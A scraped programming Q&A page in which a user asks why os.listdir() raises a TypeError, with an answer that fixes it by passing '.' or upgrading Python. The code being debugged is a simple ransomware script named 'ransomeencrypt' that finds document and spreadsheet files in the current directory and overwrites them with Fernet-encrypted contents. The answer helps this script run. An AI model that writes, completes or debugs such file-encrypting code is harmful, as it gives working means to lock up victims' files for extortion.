Follow

Keep Up to Date with the Most Important News

By pressing the Subscribe button, you confirm that you have read and are agreeing to our Privacy Policy and Terms of Use
Contact

TypeError: listdir() takes exactly 1 argument (0 given)

when I execute this in my win10 I get this error.
But when I am using:

dirs = os.listdir(path)
for file in dirs:
print(file)

I can see all the files in dir, I need help!

MEDevel.com: Open-source for Healthcare and Education

Collecting and validating open-source software for healthcare, education, enterprise, development, medical imaging, medical records, and digital pathology.

Visit Medevel

error: Raw_Files = os.listdir()
TypeError: listdir() takes exactly 1 argument (0 given)

def ransomeencrypt(file_name):
    Lock = Fernet (key)
    with open (file_name, 'rb') as file:
        data = file.read ( )
    protected = Lock.encrypt (data)
    with open (file_name, 'wb') as file:
        file.write (protected)


def ransomedecrypt(file_name):
    Unlock = Fernet (key)
    with open (file_name, 'rb') as file:
        data = file.read ( )
    decoded = Unlock.decrypt (data)
    with open (file_name, 'wb') as file:
        file.write (decoded)


Raw_Files = os.listdir()
Files = list()

for File in Raw_Files:
    if File.endswith('.txt', '.pdf', '.doc', '.docx', '.ppt', '.ppx', '.xls', '.xlsx'):
        Files.append (File)

function = ransomeencrypt

for File in Files:
    function (file)

>Solution :

From the documentation of os.listdir, it reads:

Changed in version 3.2: The path parameter became optional.

Since the TypeError: listdir() takes exactly 1 argument (0 given) error you’re getting suggests that the parameter is not optional, you’re probably running an old version of Python. Upgrading it should solve the issue.

Alternatively, you may supply '.' as the parameter like this.

# ...
Raw_Files = os.listdir('.')
Add a comment

Leave a Reply

Keep Up to Date with the Most Important News

By pressing the Subscribe button, you confirm that you have read and are agreeing to our Privacy Policy and Terms of Use

Discover more from Dev solutions

Subscribe now to keep reading and get access to the full archive.

Continue reading